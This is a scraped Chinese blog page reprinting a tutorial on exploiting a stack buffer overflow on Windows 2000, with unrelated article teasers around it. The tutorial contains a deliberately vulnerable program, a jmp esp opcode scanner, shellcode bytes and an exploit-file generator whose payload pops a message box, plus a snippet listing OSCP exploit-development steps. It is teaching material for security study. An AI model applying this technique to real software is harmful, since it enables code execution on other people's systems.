Windows 2000缓冲区溢出入门

深入解析 Java 内存 GC 问题:从诊断到优化的全链路实践 Java 应用中的内存垃圾回收(GC)问题常导致性能下降和系统不稳定。本文从问题识别、工具使用和优化策略三个维度,提供了一套完整的 GC 问题解决方法论。首先,通过典型症状(如 Young GC 频率突增、Full GC 耗时过长等)识别问题,并分析内存泄漏的常见场景(如静态集合类泄漏、长生命周期对象持有短对象引用等)。其次,介绍了实时监控工具(如 jstat、jmap、jstack)和可视化分析工具(如 GCeasy、MAT、VisualVM)的使用方法,帮助快速定位问题。最后,提出了分阶段处理策略,包括 阅读详情

前言

我在互联网上阅读过许多关于缓冲区溢出的文章。其中的绝大多数都是基于*NIX操作系统平台的。后来有幸拜读了ipxodi所著的《Windows系统下的堆栈溢出》(已刊登在绿盟网络安全月刊2000年第三期中),又碰巧看到了Jason先生的《Windows NT Buffer Overflow's From Start to Finish》,得益匪浅。在翻译Jason先生的文章时,由于我的机器安装了Windows 2000 Server,在调试原文程序时发现细节略有出入。因此本文提供的有关源程序、动态链接库、偏移量等是以我在自己机器上调试为准。(对不同版本的动态链接库,都需要编程者自己调试。)

这篇文章应该属入门级。虽然比较简单,但对于Windows系统下的缓冲区溢出具有一定的通用性。例如,堆栈溢出地址的确定,跳转指令的查找和使用,溢出执行代码的编写,等等。只要发现Windows系统下存在缓冲区溢出漏洞的程序,基本上都可通过这些步骤进行攻击测试。但正如ipxodi所指出的,由于Windows下动态链接库的版本更新较快,一定要根据编程者的实际平台进行调试。在发布此类安全漏洞公告或溢出攻击程序时,源代码、系统平台和动态链接库的版本号都应该尽量列清楚。否则别人调试起来可能会头疼得很厉害。;)

调试、测试环境

Microsoft Visual C++ 6.0
Microsoft Windows 2000 Server (中文版,内部版本号:2195)

调试、测试过程

首先,写一个存在缓冲区溢出漏洞的应用程序。该程序可读取文件的内容,这样我们就能通过修改被读取文件的内容来使程序溢出。;-) 在Visual C++开发环境中创建一个新的控制台应用程序,选择”An Application that supports MFC”并单击”Finish”。(注:其实并不一定非是MFC应用程序不可,只不过是我自己的习惯而已。;-)))向这个应用程序中添加一些必要的代码,如下:

CWinApp theApp;

using namespace std;

void overflow(char* buff);

void overflow(char* buff)
{
CFile file;
CFileException er;
if(!file.Open(_T("overflow.txt"),CFile::modeRead,&er))
{
er.ReportError();
return;
}

int x = file.GetLength();
file.Read(buff,x);
}

int _tmain(int argc, TCHAR* argv[], TCHAR* envp[])
{
int nRetCode = 0;

// initialize MFC and print and error on failure
if (!AfxWinInit(::GetModuleHandle(NULL), NULL, ::GetCommandLine(), 0))
{
// TODO: change error code to suit your needs
cerr << _T("Fatal Error: MFC initialization failed") << endl;
nRetCode = 1;
}
else
{
char buff[10];
overflow(buff);
}
return nRetCode;
}

  现在先来分析一下上面这段C++代码,找一找哪里有漏洞。这是一个MFC控制台应用程序,”main”函数与其它程序会有些不同,但工作机制基本一致。我们主要分析该函数中”else”那段代码。首先是第一行”char buff[10]”,定义了一个10字符长的本地变量。我们都知道,本地变量的内存空间是在堆栈里分配的。(如果你连这个都不知道,建议不要继续往下看了。:))然后是将buff变量作为参数调用overflow函数。好了,现在让我们分析overflow函数。首先是一个Cfile对象,然后是一个CfileException对象。接下来会试图以读权限打开当前目录下的文件”overflow.txt”。如果打开成功,则将该文件中的所有内容读取到buff数组变量中。发现了问题没有?buff变量只有10字符长。如果读取的文件内容长度是100时会发生什么问题呢?对了,“缓冲区溢出”!而且是在堆栈中发生的缓冲区溢出。在后面的测试中就能看到,我们利用这个漏洞能做些什么!;)现在让我们创建文本文件”overflow.txt”,并将它放到这个应用程序的project目录下。

在进行下一步前,先让我们探讨一下关于Windows NT/2000的内存结构。NT/2000的每一个进程都在启动时分配了4GB(0xFFFFFFFF)的虚拟内存。其中的某些部份实际上是由所有进程共享的,例如核心和设备驱动程序区域。但它们都会被映射到每个进程的虚拟地址空间里。实际上没有进程分配到4GB的物理内存,而是仅当需要时才分配物理内存。因此每一个进程都有各自的4GB虚拟内存,编址范围从0x00000000到0xFFFFFFFF。其中,0x00000000-0x0000FFFF是为NULL指针分配而保留的。访问该区域内存将导致“非法访问”错误。0x00010000-0x7FFEFFFF是用户进程空间。EXE文件的映像被加载到其中(起始地址0x00400000),DLL(动态链接库)也被加载到这部份空间。如果DLL或EXE的代码被装入到该范围的某些地址,就能够被执行。访问该区域中没有代码装入的地址将导致“非法访问”错误。0x7FFF0000-0x7FFFFFFF是保留区域,对此区域的任何访问都将导致“非法访问”错误。0x80000000-0xFFFFFFFF仅供操作系统使用。用于加载设备驱动程序和其它核心级代码。从用户级应用程序(ring 3)访问此区域将导致“非法访问”错误。

现在回到”overflow.txt”文件。现在我们将向这个文本文件中不断添加字符,直到弹出应用程序非法访问的系统对话框。在这里,填充什么字符是很重要的(原因待会就知道了)。我选择小写字母”a”来填充文本文件。我们已经知道缓冲区只有10字符长,那么先填充11个字符。(注意:以debug方式编译应用程序,否则结果可能会有所不同。)咦?没反应。我们继续填充字符……直到填充了18个字符应用程序才崩溃。但这个崩溃对我们的用处还不大。继续填充!当字符串长度为24时,运行程序并观察弹出的对话框信息:“”0x61616161”指令引用的”0x61616161”内存。该内存不能为”written”。”我想大家都应该知道”0x61”所代表的ASCII码是什么吧?;)如果你的机器安装了Visual C++,单击“取消”按钮就能够调试该应用程序。进入调试环境后,选择”view”菜单――”debug windows”――”registers”,可打开寄存器窗口。如果你对汇编一窍不通,建议先去找本汇编的书看看。在寄存器窗口里会看到EAX、EBS和EIP等寄存器的内容。EIP当然是最重要的了。EIP的内容就是程序下一步所要执行指令的地址。我们注意到ESP寄存器的值未被破坏,而且似乎离我们的buff变量不远。下一步我们需要找出ESP的值是从如何处理得到的。

现在开始会复杂些了(而这就是乐趣的源泉!:))。 在main函数的最后一行代码处设置断点,因为我们只关心这里所发生的事情。现在启动调试器,并让程序无故障运行到该断点。然后切换到反汇编窗口(按Alt+8,或单击”View”――”debug windows”――”disassembly”)。另外还要打开内存窗口和寄存器窗口。

0040155B 5F pop edi
0040155C 5E pop esi
0040155D 5B pop ebx
0040155E 83 C4 50 add esp,50h
00401561 3B EC cmp ebp,esp
00401563 E8 7E 00 00 00 call _chkesp (004015e6)
00401568 8B E5 mov esp,ebp
0040156A 5D pop ebp
0040156B C3 ret

以上这些东西是什么?汇编代码。如果你对汇编一点都不懂,我在这里做一些简单的说明。第一行是”pop edi”。指令pop用于将仅次于堆栈顶端的数据移到其后的指定寄存器中。需要注意的是ESP寄存器。ESP是32位堆栈指针。一个pop指令移动堆栈顶端的一个数据单元,在这里是DWORD(双字,4字节),到指定寄存器中,并将堆栈指针加4(因为共移动了4字节)。在执行下一步前,让我们看一下ESP寄存器。在内存窗口中输入ESP,就能得到ESP当前指向的地址和内容。看一下ESP指向的内存地址中4个字节的内容和EDI寄存器的内容。现在单步执行”pop.edi”,我们能够看到EDI寄存器中填入了ESP所指向的内存地址的数值,同时ESP的数值也增加了4。后面的两条指令是一样的,只不过寄存器不同罢了。单步执行它们。跟着的三行指令对本文没什么意义,所以在这里不作解释。单步执行到指令”mov esp, ebp”,该指令会将EBP的值赋给ESP寄存器。然后是指令”pop ebp”,这条指令很重要。先让我们在内存窗口输入ESP,可以看到该内存地址有一串”0x61”('a'的16进制值)。因此0x61616161将被弹出到EBP寄存器中。单步执行该指令可以检验我说的没错吧?;)好了,虽然我说的没错,但好象我们还没能得到什么有用的东西?现在到了最后一条指令”ret”。指令”ret”在汇编中是返回指令。它是如何知道应该返回到哪里的呢?由当前位于堆栈顶端的数值决定。这条指令如果用pop指令表示的话可以表示为”pop eip”(虽然实际上你无法执行这条pop指令;))。它从ESP所指向内存地址处弹出4字节内容,并赋给EIP寄存器(EIP寄存器是32位指令指针)。这就意味着,不管EIP指向哪个内存地址,该地址处的指令将总会成为下一条指令。我们再次在内存窗口中输入ESP,看一下将要赋给EIP寄存器的地址的指令是什么。其实我想此时大家都应该知道是4个字节长的0x61串。现在让我们单步执行该指令,看到EIP的值为0x61616161,也就是说下一指令地址为0x61616161,但指令却显示为???(意为无效指令)。因此再单步执行指令将导致“访问非法”错误。现在再看看ESP寄存器。它正确地指向了堆栈中的下一个数值。也就是说,下一步工作是确定在使缓冲区成功溢出(EIP=0x61616161)时,ESP所指向的地址是否能够存放我们的溢出代码!我们在overflow.txt文件中再次增加4个'a'(共28个'a'),并再次调试程序,在执行到”ret”指令时观察内存窗口和寄存器窗口,会发现执行”ret”指令后ESP所指向内存地址的内容为4字节长的0x61串。Great!这意味着什么?!这个让大家自己想去吧。;)))

现在我再回过头来分析一下。我们刚才使用字符'a'(0x61)作为文本文件的填充内容,以确定存在缓冲区溢出。由于EIP=0x61616161,当我们的程序访问试图访问该地址处的指令时,会因为是无效指令而导致系统出错。但如果所指向的地址存在可执行代码时又如何呢?例如装入内存的DLL代码等。哈哈,这样的话就会执行这些指令,从而可能做一些别人想像不到的事!;)

好了,到目前为止,我们已经能控制EIP的数值,也知道ESP指向的堆栈位置,和能够向堆栈写入任意数据。那么下一步做什么呢?当然是找到使系统执行我们的溢出代码的方法了。如果你看过ipxodi所著的文章《Windows系统下的堆栈溢出》,就会知道采用跳转指令(jmp esp)是最好不过的了。原因在这里就不再多讲,请大家仔细阅读《Windows系统下的堆栈溢出》就清楚了。正如前面分析过的,这是因为执行完ret指令后ESP正好能够指向我们的溢出代码!(……哦,找不到,我没分析过?在本文中查找单词”Great”吧,呵呵。)现在我们就要在应用程序的内存空间中找到含有”jmp esp”指令的地址。首先当然是确定这条指令的机器码了。怎么确定?这也要教?好吧,教就教吧。仅此一次,下不违例。;)其实方法很简单,按以下步骤就可以了。先在Visual C++中创建新的应用程序。(当然还是控制台程序,还是支持MFC,这是我的习惯。呵呵。)输入以下代码:

CWinApp theApp;

using namespace std;

int _tmain(int argc, TCHAR* argv[], TCHAR* envp[])
{
int nRetCode = 0;

// initialize MFC and print and error on failure
if (!AfxWinInit(::GetModuleHandle(NULL), NULL, ::GetCommandLine(), 0))
{
// TODO: change error code to suit your needs
cerr << _T("Fatal Error: MFC initialization failed") << endl;
nRetCode = 1;
}
else
{
return 0;
__asm jmp esp
}
return nRetCode;
}

下一步是如何在我们的进程空间里找到这串机器码。也是非常简单的,只要修改一下代码即可:

CWinApp theApp;

using namespace std;

int _tmain(int argc, TCHAR* argv[], TCHAR* envp[])
{
int nRetCode = 0;

// initialize MFC and print and error on failure
if (!AfxWinInit(::GetModuleHandle(NULL), NULL, ::GetCommandLine(), 0))
{
// TODO: change error code to suit your needs
cerr << _T("Fatal Error: MFC initialization failed") << endl;
nRetCode = 1;
}
else
{
#if 0
return 0;
__asm jmp esp

#else

bool we_loaded_it = false;
HINSTANCE h;
TCHAR dllname[] = _T("User32");

h = GetModuleHandle(dllname);
if(h == NULL)
{
h = LoadLibrary(dllname);
if(h == NULL)
{
cout<<"ERROR LOADING DLL: "<<dllname<<endl;
return 1;
}
we_loaded_it = true;
}

BYTE* ptr = (BYTE*)h;
bool done = false;
for(int y = 0;!done;y++)
{
try
{
if(ptr[y] == 0xFF && ptr[y+1] == 0xE4)
{
int pos = (int)ptr + y;
cout<<"OPCODE found at 0x"<<hex<<pos<<endl;
}
}
catch(...)
{
cout<<"END OF "<<dllname<<" MEMORY REACHED"<<endl;
done = true;
}
}

if(we_loaded_it) FreeLibrary(h);
#endif
}
return nRetCode;
}

也许你会奇怪,为什么不用Kernel32.dll呢?它不是更通用吗?我刚开始时也是在动态链接库Kernel32的进程空间寻找”FF E4”,但居然一处也找不到!(而在Windows NT 4中找到能至少6处!:(()后来我尝试在User32.dll中寻找,终于找到了一处。运行后程序输出:

OPCODE found at 0x77e2e32a
END OF User32 MEMORY REACHED

注意,不同的动态链接库和版本,得到的结果可能会不一样。我的动态链接库User32.dll版本为5.00.2180.1。现在用16进制文件编辑器(如Ultra Edit)打开overflow.txt文本文件,在第21字符位置开始输入2A E3 E2 77。(为什么要在第21字符位置?为什么要输入2A E3 E2 77?我不想解释了,如果你连这都看不懂,建议你不要再研究缓冲区溢出了!)我们先保留后面的四个'a'字符。使用调试器运行程序,执行到”ret”命令处停下来,看看下一条指令是否为”jmp esp”,而且执行”jmp esp”前esp的内容是否为0x61616161。如果一切正确,OK, so far so good. ;)让我们来进行更刺激的事情――编写缓冲区溢出后的执行代码。

首先,你必须确保所有需要的动态链接库都被加载到进程空间中。一种方法是利用该程序本身调用的动态链接库;另一种方法是在溢出代码中加载该动态链接库。(在ipxodi的《Windows系统下的堆栈溢出》中有详细介绍。)在这里我采用第一种方法。为什么?因为简单嘛。;)

呵呵,为了编程简单,同时本文的主要目的是教学,重点在于原理,所以代码执行时仅是弹出一个消息框。如果想编写更具攻击性或更复杂的执行代码,可参阅ipxodi所著的《Windows系统下的堆栈溢出》和绿色兵团整理的《高级缓冲区溢出》。不过,后果自负!

首先我们要找到如何在代码中调用MessageBox函数。根据Windows API文档,MessageBox依赖于user32.lib,也就是说它位于user32.dll动态链接库中。启动depends工具,打开将要被溢出的应用程序,可以发现它将加载user32.dll。然后寻找MessageBox函数的内存位置。在我机器的user32.dll中,MessageBoxA(ASCII版本)函数的偏移量(Entry Point)为0x00033D68。User32.dll在内存中的起始地址为0x77DF0000。将两者相加即可得到MessageBox函数的绝对内存地址为0x77E23D68。所以我们需要在汇编代码中正确设置堆栈并调用0x77E23D68。根据对Steve Fewer的winamp缓冲区溢出代码学习和研究,我写出来的汇编代码如下:

push ebp
push ecx
mov ebp,esp
sub esp,54h
xor ecx,ecx
mov byte ptr [ebp-14h],'S'
mov byte ptr [ebp-13h],'u'
mov byte ptr [ebp-12h],'c'
mov byte ptr [ebp-11h],'c'
mov byte ptr [ebp-10h],'e'
mov byte ptr [ebp-0Fh],'s'
mov byte ptr [ebp-0Eh],'s'
mov byte ptr [ebp-0Dh],cl
mov byte ptr [ebp-0Ch],'W'
mov byte ptr [ebp-0Bh],'e'
mov byte ptr [ebp-0Ah],' '
mov byte ptr [ebp-9],'G'
mov byte ptr [ebp-8],'o'
mov byte ptr [ebp-7],'t'
mov byte ptr [ebp-6],' '
mov byte ptr [ebp-5],'I'
mov byte ptr [ebp-4],'t'
mov byte ptr [ebp-3],'!'
mov byte ptr [ebp-2],cl
push ecx
lea eax,[ebp-14h]
push eax
lea eax,[ebp-0Ch]
push eax
push ecx
mov dword ptr [ebp-18h],0x 77E23D68
call dword ptr[ebp-18h]
mov esp,ebp
pop ecx
pop ebp

以上汇编代码将调用位于0x77E23D68的MessageBox函数,使其弹出标题为”Success”、消息内容为”We Got It!”的消息框。必须要注意的是,我们不能使用0(NULL)作为字符串中的字符,解决方法请参考ipxodi所著的《Windows系统下的堆栈溢出》和绿色兵团整理的《高级缓冲区溢出》。现在,我们要得到这些汇编代码的机器码。方法前面已经介绍过了,不再重复。最后整理得到的机器码为:

/x55/x51/x8b/xec/x83/xec/x54/x33/xc9/xc6/x45/xec/x53/xc6/x45/xed/x75/xc6/x45
/xee/x63/xc6/x45/xef/x63/xc6/x45/xf0/x65/xc6/x45/xf1/x73/xc6/x45/xf2/x73/x88/x4d
/xf3/xc6/x45/xf4/x57/xc6/x45/xf5/x65/xc6/x45/xf6/x20/xc6/x45/xf7/x47/xc6/x45/xf8
/x6f/xc6/x45/xf9/x74/xc6/x45/xfa/x20/xc6/x45/xfb/x49/xc6/x45/xfc/x74/xc6/x45/xfd
/x21/x88/x4d/xfe/x51/x8d/x45/xec/x50/x8d/x45/xf4/x50/x51/xc7/x45/xe8/x68/x3d
/xe2/x77/xff/x55/xe8/x8b/xe5/x59/x5d

如果现在将这输入到overflow.txt文件中,将能够成功溢出,并弹出我们定制的消息框。但当单击”确定”按钮后,应用程序将崩溃。要避免出现这种情况,我们需要调用exit函数以正常关闭程序。查阅Windows API文档可知,需要导入msvcrt.lib,因此肯定在msvcrt.dll动态链接库中。使用depends工具会发现应用程序加载了msvcrtd.dll而不是msvcrt.dll,这是因为我们应用程序现在使用的是调试版本。但两者没太多区别。Msvcrtd.dll在内存中的起始地址为0x10200000,exit函数的偏移量(Entry Point)为0x0000AF90,则exit函数的绝对地址为0x1020AF90。故汇编代码为:

push ebp
push ecx
mov ebp,esp
sub esp,10h
xor ecx,ecx
push ecx
mov dword ptr [ebp-4],0x1020AF90
call dword ptr[ebp-4]
mov esp,ebp
pop ecx
pop ebp

以上代码以0为参数调用exit函数,使应用程序以代码0退出运行。整理后得到的机器码如下:

/x55/x51/x8b/xec/x83/xec/x10/x33/xc9/x51/xc7/x45/xfc/x90/xaf/x20/
x10/xff/x55/xfc/x8b/xe5/x59/x5d

现在将上面两串机器码输入到overflow.txt文件中(以第25个字节为起始位置。这次不用问为什么了吧?!如果还不懂,复习一下前面的内容!)

如果你嫌麻烦,可以使用以下程序(怎么样,够朋友了吧?;)):

CWinApp theApp;

using namespace std;

int _tmain(int argc, TCHAR* argv[], TCHAR* envp[])
{
int nRetCode = 0;

// initialize MFC and print and error on failure
if (!AfxWinInit(::GetModuleHandle(NULL), NULL, ::GetCommandLine(), 0))
{
cerr << _T("Fatal Error: MFC initialization failed") << endl;
nRetCode = 1;
}
else
{
char buffer[20];
//0x77e2e32a //user32.dll JMP ESP
char eip[] = "/x2a/xe3/xe2/x77";
char sploit[] = "/x55/x51/x8b/xec/x83/xec/x54/x33/xc9/xc6/x45/xec/x53/xc6/x45/xed/x75/xc6/x45/xee"
"/x63/xc6/x45/xef/x63/xc6/x45/xf0/x65/xc6/x45/xf1/x73/xc6/x45/xf2/x73/x88/x4d/xf3/xc6"
"/x45/xf4/x57/xc6/x45/xf5/x65/xc6/x45/xf6/x20/xc6/x45/xf7/x47/xc6/x45/xf8/x6f/xc6/x45"
"/xf9/x74/xc6/x45/xfa/x20/xc6/x45/xfb/x49/xc6/x45/xfc/x74/xc6/x45/xfd/x21/x88/x4d/xfe"
"/x51/x8d/x45/xec/x50/x8d/x45/xf4/x50/x51/xc7/x45/xe8/x68/x3d/xe2/x77/xff/x55/xe8/x8b"
"/xe5/x59/x5d/x55/x51/x8b/xec/x83/xec/x10/x33/xc9/x51/xc7/x45/xfc/x90/xaf/x20/x10/xff"
"/x55/xfc/x8b/xe5/x59/x5d";

for(int x=0;x<20;x++)
{
buffer[x] = 0x90;
}

CFile file;
file.Open("overflow.txt",CFile::modeCreate | CFile::modeWrite);

file.Write(buffer,20);
file.Write(eip,strlen(eip));
file.Write(sploit,strlen(sploit));

file.Close();
}

return nRetCode;
}

在确保所有文件的内容和位置都准确无误后,运行被溢出程序…………哈哈,我们的消息框弹出来了!!!单击”确定”按钮,程序正常关闭!!!

后记

最近访问国外的安全站点、黑客站点,发现国外越来越多地关注Windows系统的安全,研究Windows系统漏洞的也越来越多,包括L0pht、Cerberus等。特别是在一些黑客性质很重的站点,针对Windows 9x/NT/2k的攻击程序一堆堆的。真的有点不敢想像,如果Micro$oft公开所有Windows的源代码,会有多少安全漏洞被发现。而我想,根据国内使用Windows平台的普遍性,问题将会更加严重。因此我觉得国内对Windows的安全性研究应该抓得更紧些!虽然实际情况令人沮丧……:(

这篇文章本来不打算整理的,因为我自己也是刚开始研究Windows系统下的缓冲区溢出,掌握的东西不多,担心被Windows高手取笑。后来倒是自己想通了:只有“班门弄斧”,才能知道自己的不足,才能更快地取得进步。希望众Windows高手、黑客高手多多指教。象我们绿色兵团里的ipxodi、袁哥、zer9等,都是Windows平台下的安全专家,如果本文能起到“抛砖引玉”的作用,我便很满足了。:)

The Tao of Windows Buffer Overflow 缓冲区溢出之道 The Tao of Windows Buffer Overflow 缓冲区溢出之道 中文翻译版 立即下载

相关推荐

bof_templates:Windows x86缓冲区溢出模板

描述 OSCP的Windows x86缓冲区溢出模板 脚步 以管理员身份启动服务/应用并启动豁免 模糊输入确定溢出 使用msf-pattern_create -l <LEN>生成模式 获取EIP的十六进制值 使用msf-pattern_offset -l <LEN> -q <EIP>查找确切的偏移量msf-pattern_offset -l <LEN> -q <EIP> 计算缓冲区 查找不良字符(转储中遵循ESP) 使用!mona modules搜索内存保护设置为false且基地址中没有错误字符的!mona modules 如果不是全部为false,请使用!mona jmp -r esp并跳至步骤12 使用msf-nasm_shell JMP ESP (FFE4)确定指针的操作码 用!mona find -s "\xff\xe4" -m <MODULE>查找指针地址!mona fi

Windows 2000缓冲区溢出入门(我所找到的最好的入门教程)

Windows 2000缓冲区溢出入门作者:Jason整理:Backend backend@nsfocus.com >主页:http://www.nsfocus.com日期:2000-04-12前言我在互联网上阅读过许多关于缓冲区溢出的文章。其中的绝大多数都是基于*NIX操作系统平台的。后来有幸拜读了ipxodi所著的《Windows系统下的堆栈溢出》(已刊登在绿盟网络安全月刊2000

yztgx的专栏 2516

windows 缓冲区溢出

我自己学习缓冲区溢出时在网上找到的一些缓冲区溢出保护与突破技巧的pdf文档

[分享]重映射User32.dll调用MessageBox对话框

[原创]重映射User32.dll调用MessageBox对话框 链接:https://bbs.pediy.com/thread-140456.htm#include <windows.h>DWORD ReGetProcAddress(HMODULE hModule, HMODULE hOldModule, LPCSTR lpProcName) { DWORD MyApiAddr

crashMaker的博客 - 匠心,一种坚持的倔强 1329

应用软件——Altium Designer 19 Gerber/坐标文件

如何输出Gerber文件 步骤如下: 打开需要输出的PCB文件 2. 设置原点坐标 3. 打开Gerber Files 选项,File–>Fabrication Opuputs–>Gerber Files。 4. General参数设置。 用于指定输出Gerber文件中使用的单位(Units)和格式(Format)。单位可以是公制(Millimeters)和英制(Inches);格式栏中2:3,2:4,2:5代表文件中使用的不同数据精度,其中2:3表示数据含2位整数3位小数;相应的,另外两个分

染血黑兔的博客 7206

从数据到图片:手把手构建FMCW雷达人体行为识别数据集(行走、跌倒、喝水等6类动作)

本文详细解析了如何利用FMCW雷达构建人体行为识别数据集,涵盖行走、跌倒、喝水等6类动作。通过多普勒特征可视化、图像标准化处理和自动化流水线设计,将原始雷达信号转化为高质量时频图像数据集,为智能家居和健康监护等应用提供可靠数据支持。

weixin_30706691的博客 387

网络安全实验一,栈溢出更改变量值使得判断通过,so, can u find flag

网络安全实验一,栈溢出,更改变量值使判断得以通过,winxp,vc6

weixin_42700798的博客 2150

2026年10月11日 ECOC 2026(第52届欧洲光通信大会)深度研究报告

本届大会吸引超过和,技术会议共发表,覆盖20个主题领域(——从全体会议、厂商发布到论文分布,"为AI集群提供光互连"取代传统电信传输成为绝对主线。本报告的核心结论有五点:其一,,行业讨论焦点已转向3.2T与400G/通道技术;其二,,行业共识转向"按场景分层部署"——scale-up、scale-out、scale-across各有最优解;

weixin_51184047的博客 265

攻防世界-wp-PWN-新手区-3-guess_num

题目描述: 菜鸡在玩一个猜数字的游戏,但他无论如何都银不了,你能帮助他么 题目场景: 220.249.52.133:35323 题目附件: b59204f56a0545e8a22f8518e749f19f 题目思路: 随机函数生成的随机数并不是真的随机数,他们只是在一定范围内随机,实际上是一段数字的循环,这些数字取决于随机种子。 解题过程: 载入IDA64,找到main函数,F5反编译得到伪C代码,发现输入v8名字时可以覆盖sreed[0],这样这个随机数列就可控了。 __int64 __fastcall

Scorpio_m7 1707

2024年03月CCF-GESP编程能力等级认证Python编程五级真题解析

下面流程图在yr输入2024时,可以判定yr代表闰年,并输出 2月是29天 ,则图中菱形框中应该填入( )。 A. (yr % 400 == 0) or (yr % 4 == 0) B. ( yr % 400 == 0) or (yr % 4 == 0 and yr %100 != 0) C. ( yr % 400 == 0) and ( yr % 4 == 0) D. (yr % 400 == 0) and (yr % 4 == 0 and yr % 100 != 0)

人生就是一个不断学习的过程 748

OpenFeign整合Sentinel实现熔断降级

常用于实现熔断降级的框架有Hystrix、Sentinel,我们常说的Spring Cloud项目说的其实是Spring Cloud Netflix,Hystrix以及前面学习过的Ribbon都是Netflix系的家族成员,所以使用Hystrix可以非常简单的与当前项目中使用到的OpenFeign、Ribbon整合,但笔者并没有选择Hystrix,而是选择阿里系的Sentinel。 为什么选择Sentinel而不是Hystrix?从接入简单考虑可能选择Hystrix是不错的选择,但笔者对Hyst...

吴就业 6718

shellcode获取MessageBoxA的地址

_asm {      push ebp;暂存基址      mov eax,fs:[30];获取PEB地址      mov eax,[eax+0ch];获取LDR地址      mov  eax,[eax+14h];获得PEB_LDR_DATA中InMemoryOrderModuleListFlink的地址,该地址和LDR_DATA_TABLE_ENTRY中的Flink相同

dasgk的专栏 2983

YOLOv11知识蒸馏,实现无损涨点,包含逻辑蒸馏和特征蒸馏中的不同蒸馏方法,适用专栏内的所有模型

知识蒸馏(Knowledge Distillation)是由 Hinton 等人在 2015 年提出来的,主要是用一个复杂的教师模型去指导一个简单的学生模型训练,这样能让学生模型在保持高精度的同时,还能减少计算量。本文便是讲解如何针对的原始模型以及改进后的模型进行知识蒸馏,轻松实现无损涨点。知识蒸馏的核心在于利用已训练好的复杂模型(教师模型)去指导一个更简单的模型(学生模型)进行训练,以此让学生模型在保留较高精度的同时,降低计算成本。特征蒸馏(Feature Distillation)是知识蒸馏的一种形式,

Limiiiing的博客 4966

如何监控GC及内存问题解决方案概述

内存问题错综复杂,本人水平也有限,浅薄之见仅供参考。 一、GC监控 GC日志记录了内存使用和回收状态,出现内存故障时,可作为分析排查手段。 1. 启用GC监控的方法:增加java启动参数-verbose:gc,输出信息的样例:   GC 135: total final references 4390; cleared final references 8.  GC 

a925907195的专栏 2343

5、自动化代码结构与运维系统的优化

本文探讨了自动化代码结构与运维系统的优化方法,涵盖审批流程的模块化设计、日志记录与工单系统的集成、通知方式的选择、错误处理的策略以及持续改进的实践。同时,深入分析了运维盲目性问题,通过故障案例揭示了关键指标缺失和日志未充分利用的弊端,提出了开发与运维角色转变的必要性。文章还介绍了如何生成有用的系统指标、建立良好的日志习惯以及实施日志聚合,以提升系统的可观测性和可靠性。最终通过总结和流程图展示了优化措施的核心要点,为构建高效、可靠的运维体系提供了指导。

pp12345的博客 71

Android 13.0 开机启动优化之PMS扫描apk耗时相关功能优化

在android13.0的系统rom定制化开发中,在系统中开发产品时,会根据客户要求内置第三方app,这时如果内置app过多,或者安装的app过多,在系统开机的过程中 在pms扫描安装app的时候,就会比较耗时,这时候就需要优化下pms扫描安装app这块的功能代码,用多线程来实现pms扫描安装app,来加快开机时间,接下来 来实现这个功能

安卓兼职framework和app工程师的博客 1335

如何监控GC及内存问题解决方案概述 - Java快速开发平台 - BlogJava

如何监控GC及内存问题解决方案概述 内存问题错综复杂,本人水平也有限,浅薄之见仅供参考。 一、GC监控 GC日志记录了内存使用和回收状态,出现内存故障时,可作为分析排查手段。 1. 启用GC监控的方法:增加java启动参数-verbose:gc,输出信息的样例: GC 135: total final references 4390; cleared final references 8.

cesium的专栏 1090

STM32F407中文手册

STM32f407中文手册 本参考手册面向应用开发人员,提供有关使用 STM32F405xx/07xx、STM32F415xx/17xx、 STM32F42xxx 和 STM32F43xxx 微控制器存储器与外设的完整信息。STM32F405xx/07xx、STM32F415xx/17xx、STM32F42xxx 和 STM32F43xxx 构成一个微 控制器系列,各产品具有不同的存储器大小、封装和外设。有关订购信息以及器件的机械与电气特性,请参见数据手册。有关 ARM Cortex™-M4F 内核的信息,请参见《Cortex™-M4F 技术参考手册》。

JVM频繁Full GC问题的排查与解决方案

堆内存(Heap Memory):这是Java对象的主要存储区域,分为年轻代(Young Generation)和老年代(Old Generation)。栈内存(Stack Memory):每个线程的栈用于存储局部变量和方法调用的上下文。永久代(PermGen)/元空间(Metaspace):存储类的元数据。在JDK 8之前是永久代,之后被元空间取代。

lssffy的博客 4394

计算机控制技术及应用

《计算机控制技术及应用》通过总结作者的科研成果和吸收国内外的先进理论、方法和技术,以计算机控制系统的网络化、开放化、智能化和集成化发展趋势为主线索,主要介绍计算机控制系统的基本概念和计算机控制系统的典型形式,计算机控制系统的数学描述与基本分析方法,以及数字PID控制器、最少拍控制系统、达林算法、状态变量设计法等设计方法及其各种改进算法。重点突出计算机控制系统输入输出通道接口的设计方法和典型控制系统的设计案例与实现方法等。

win10 跳过U8环境检测的IE WebControls.rar

win10 安装u8的时候 提示IE WebControls 不通过,这个工具可以欺骗u8的检查。 跳过U8环境检测的IE WebControls。提示导入失败后,重新检测通过。

java GC概述

文章目录Java GC原理概述Java GC(garbage collec,垃圾收集,回收)1.年轻代的GC(存放实例化的对象)2.老年代的GC(存放较大的实例化的对象和在年轻代中存活了足够久的对象)3.永久代的GC(存放常量、类)Java垃圾回收概况Java内存区域Java对象的访问方式Java内存分配机制Java GC机制垃圾收集器 Java GC原理概述 Java GC(garbage co...

qq_40981804的博客 1万+

Data-Structures-and-Algorithm-Analysis-in-Java.pdf

作者: Weiss, Mark A. 出版社: Addison Wesley Data Structures and Algorithm Analysis in Java is an “advanced algorithms” book that fits between traditional CS2 and Algorithms Analysis courses. In the old ACM Curriculum Guidelines, this course was known as CS7. This text is for readers who want to learn good programming and algorithm analysis skills simultaneously so that they can develop such programs with the maximum amo...

如何监控JVM GC

如何监控GC gc监控是GC调优的必要前提,只有监控数据,才能知道该不该GC调优?如何调优?调优是不是有效果? 有很多种方法可以监控GC,其差别只是展现的形式而已,所以不用特意的去学习所有监控gc的方法。 jstat jstat 是HotSpot JVM提供的一个监控工具,jstat 不仅提供GC操作的信息,还提供类装载操作的信息以及运行时编译器操作的信息。 jstat 被放置在 $JDK_HOME/bin。因此只要java 和 javac能执行,jstat 同样可以执行。 你可以在命令行环境下执行如下语句

死磕音视频 7131

gc监控

 一、GC监控 GC简述:GC日志记录了内存使用和回收状态,出现内存故障时,可作为分析排查手段。GC用于跟踪内存中的对象,回收哪些不再被其他对象引用的对象,gc的线程低于系统应用线程,只有没有系统应用线程的时候gc才会被触发,当堆空间的不足以满足创建新对象的时候也会被触发。 1. 启用GC监控的方法:增加java启动参数-verbose:gc,输出信息的样例:  

folin的专栏 3647
上一篇: 挂接CreateProcessW实现对进程创建的完全控制
